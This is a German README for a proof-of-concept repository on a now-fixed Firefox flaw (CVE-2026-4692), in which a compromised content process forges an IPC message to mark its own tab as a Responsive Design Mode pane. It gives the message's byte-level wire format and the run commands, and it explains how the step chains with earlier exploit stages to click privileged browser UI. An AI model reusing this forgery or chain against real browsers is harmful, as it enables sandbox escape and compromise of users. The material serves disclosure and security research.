CVE-2026-4692 — Inhaltsprozesse können sich selbst als RDM deklarieren

Proof of Concept für eine fehlende Autorisierungsprüfung bei der Synchronisierung des BrowsingContext-Felds: Ein kompromittierter Inhaltsprozess fälscht eine PContent::CommitBrowsingContextTransaction-Nachricht, die InRDMPane = true auf seinem eigenen Top-Level-BrowsingContext setzt, und der Parent wendet sie an.

Ziel: Firefox 149.0a1 nightly @ 2fbc0748c4 (verwundbar, vor dem Fix), macOS arm64. Behoben in Firefox 149 — Bug 2017643, Commit a9279ce332ed („Prevent toggling RDM BrowsingContext flag from content processes"), der Folgendes hinzufügt:

bool BrowsingContext::CanSet(FieldIndex<IDX_InRDMPane>, const bool&,
                             ContentParent* aSource) {
  return XRE_IsParentProcess() && IsTop() && !aSource;   // reject if from content
}

Warum das wichtig ist

InRDMPane teilt dem Parent mit, dass der Tab ein Responsive-Design-Mode-Bereich ist. Der Parent vertraut diesem Wert beim Hit-Testing synthetisierter Touch-Events (BrowserParent::RecvDispatchTouchEvent): Events, die nominell auf einen RDM-Bereich abzielen, dürfen auf privilegierter Chrome-UI landen. Ein kompromittierter Inhaltsprozess, der das Flag setzt, kann dann Touch-Events mit negativen/außerhalb des Inhalts liegenden Koordinaten senden und privilegierte UI ohne Benutzerinteraktion anklicken (siehe repro.patch des Reporters zu Bug 2017643, das genau das mit einem gepatchten Build demonstriert). Dieses Repo demonstriert die ermöglichende Grenzverletzung selbst, mit einer echten Nachrichtenfälschung — ohne Browser-Quellcode-Patches.

Die Nachricht (Wire-Format, extrahiert aus dem generierten IPC-Code des Builds)

PContent::CommitBrowsingContextTransaction — Nachrichtentyp 0x3a0137 (PContentMsgStart=58 << 16 | ordinal 311), Routing MSG_ROUTING_CONTROL (INT64_MAX), Flags NOT_NESTED (0x001):

u64  bcid                sentinel 235406151 ('aContext')
u64  0x0000000000800000  modified bitset word0 (bit 23 = InRDMPane)
u64  0                   bitset word1   (BitSet<84> words are size_t = u64!)
u32  1                   WriteBool(true)
u32  523371752           sentinel 'aTransaction'
u64  epoch               (epoch check is MOZ_ASSERT-only; compiled out here)
u32  132121169           sentinel 'aEpoch'

Die Zustellung nutzt den Sendepfad von CVE-2026-74939: operator new → IPC::Message::Message(routing, type, capacity, flags) → Pickle::WriteBytes → MessageChannel::Send auf dem PContent-Kanal, gesteuert aus JS über die Wasm-Funcref-Call-Primitive (wasm-bytes.js, Stufe 1 = CVE-2026-2796).

Nachweis

Parent-seitiges Log (MOZ_LOG=BrowsingContextSync:5) nach ./irun:

D/BrowsingContextSync Transaction::Apply(#380000001, ipc): InRDMPane(false->true)

#380000001 ist der Top-Level-BrowsingContext des Popups (kind-zugewiesene ID, from IPC erstellt), und ipc markiert die Transaktion als vom Inhalt stammend. Bei einem gepatchten Build schlägt dieselbe Nachricht bei der CanSet-Validierung fehl und wird abgelehnt.

Dateien

Ausführen

Voraussetzungen: Verwundbarer Nightly-Build unter /Users/sid/gecko-2766/obj-browser, .venv mit psutil und der gebündelte Logging-Server läuft:

python3 srv.py > /tmp/srv4692.log 2>&1 &   # serves this dir on :8781
python3 forge_bctx.py                      # build bctx.bin/bctx.json
./irun                                     # launch + inject + collect evidence

Referenzen

• Mozilla-Bug 2017643 — Fix-Commit a9279ce332ed (MFSA 2026-20, Firefox 149)
• CVE-2026-74939 — die Sendepfad-Mechanik, die hier wiederverwendet wird (../poc-cve-2026-74939)
• CVE-2026-12295 — verwandte Load-State-Fälschung (../poc-cve-2026-12295)